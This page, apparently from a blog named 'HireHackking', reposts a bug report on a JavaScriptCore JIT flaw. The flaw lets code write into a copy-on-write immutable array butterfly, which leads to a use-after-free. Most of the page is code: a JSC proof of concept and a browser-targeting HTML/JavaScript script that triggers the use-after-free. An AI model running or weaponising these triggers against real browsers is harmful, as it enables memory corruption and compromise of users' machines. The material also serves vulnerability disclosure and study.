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About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!--
void AbstractValue::set(Graph& graph, RegisteredStructure structure)
{
    RELEASE_ASSERT(structure);
    
    m_structure = structure;

    m_arrayModes = asArrayModes(structure->indexingType());
    m_type = speculationFromStructure(structure.get());
    m_value = JSValue();
    
    checkConsistency();
    assertIsRegistered(graph);
}

It works out m_arrayModes using structure->indexingType() instead of structure->indexingMode(). As structure->indexingType() masks out the CopyOnWrite flag, which indicates that the butterfly of the array is immutable, needing copy-on-write, the wrong information about the array can be propagated. As a result, it's able to write into the immutable butterfly (JSImmutableButterfly) of a CoW array. And this can lead to UaF as 
writing into an immutable butterfly can be used to bypass write barriers.

I also noticed that the most calls to asArrayModes are using structure->indexingType(). I think that those should be fixed too.

PoC:
-->

// ./jsc --useConcurrentJIT=false ~/test.js

function set(arr, value) {
    arr[0] = value;
}

function getImmutableArrayOrSet(get, value) {
    let arr = [1];
    if (get)
        return arr;

    set(arr, value);  // This inlinee is for having checkArray not take the paths using the structure comparison.
    set({}, 1);
}

function main() {
    getImmutableArrayOrSet(true);

    for (let i = 0; i < 100; i++) {
        getImmutableArrayOrSet(false, {});
    }

    let arr = getImmutableArrayOrSet(true);
    print(arr[0] === 1);
}

main();

PoC 2 (UaF):
<script>

function sleep(ms) {
    let s = new Date();
    while (new Date() - s < ms) {

    }
}

function mark() {
    for (let i = 0; i < 40; i++) {
        new ArrayBuffer(1024 * 1024 * 1);
    }
}

function set(arr, value) {
    arr[0] = value;
}

function getImmutableArrayOrSet(get, value) {
    let arr = [1];
    if (get)
        return arr;

    set(arr, value);
    set({}, 1);
}

function main() {
    getImmutableArrayOrSet(true);

    for (let i = 0; i < 10000; i++)
        getImmutableArrayOrSet(false, {});

    sleep(500);

    let arr = getImmutableArrayOrSet(true);

    mark();
    getImmutableArrayOrSet(false, []);
    mark();

    setTimeout(() => {
        try {
            alert(arr[0]);
        } catch (e) {
            alert(e);
        }
    }, 200);
}

main();

</script>